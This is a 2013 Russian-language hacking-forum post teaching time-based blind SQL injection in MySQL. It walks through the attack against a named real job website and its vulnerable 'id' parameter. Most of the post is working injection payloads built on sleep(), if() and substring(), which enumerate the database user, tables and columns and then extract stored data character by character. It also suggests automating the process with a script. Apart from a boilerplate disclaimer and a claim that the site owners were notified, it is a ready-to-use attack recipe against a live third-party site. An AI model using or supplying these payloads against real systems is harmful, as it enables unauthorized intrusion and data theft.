HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.09.2013, 17:15
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

Всем привет!Накидал небольшую заметку о замечательной технике раскрутки слепых SQL инъекций, так называемой Injection Time Based.

Много вопросов по данной теме, постараюсь наглядно объяснить.Многие, кто сталкиваются с данной инъекцией, в основном останавливаются на пол пути.

Данная заметка ориентирована на новичков, дабы исключить все это множество вопросов по данной теме.

Итак,многоуважаемый Dr.Z3r0 в своей статье упоминал о том, как с помощью функции sleep можно посимвольно вытаскивать данные.

Напомню, оператор sleep появился с 5 ветки MySQL. Он создает задержку в ответе веб-сервера, которую мы и используем.

Поехали! Сайт www.cornerjob.co.za/view-job.php?id=678. Уязвимый get-параметр id.

Проверяем:id=678 and sleep(5)



В 1-ом варианте время отклика (response time) небольшое, в то время,как во 2-м случае значительно увеличивается благодаря sleep.

Далее! Опеределим версию mysql (хотя нам она уже известна, так как sleep появился с 5-ой версии). Давайте проверим



Точно так же работаем с user(), database():

id=678 and if(substring(user(),1,1)='a',SLEEP(5),1)

Пару слов о таблицах и колонках:

id=678 and if(substring((select 1 from [table_name] limit 0,1),1,1)=1,SLEEP(5),1), где[table_name] - предполагаемое Вами название таблицы.

Если вернется ЛОЖЬ, то ответ сервера будет 0 секунд (все зависит от Вашего канала) и такой таблицы нет.

Если же ИСТИНА, и такая таблица существует, то ответ будет с задержкой в 5 секунд (и более).

С колонками все идентично:

id=678 and if(substring((select substring(concat(1,[column_name]),1,1) from [table_name] limit 0,1),1,1)=1,SLEEP(5),1), где[column_name] - предполагаемое Вами название колонки.

И, наконец, достаем данные:

id=678 and if((select mid(column_name,1,1) from table_name limit 0,1)='a',sleep(5),1)

Как только поймете, как это работает - написать скрипт, автоматизирующий данный процесс, не составит труда.

Всем добра

С уважением,YaBtr!

Данная заметка предназначена для использования сугубо в учебных целях. Автор не несет ответственности за использование материала в незаконных целях.

Администрация ресурса была уведомлена о данной уязвимости.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ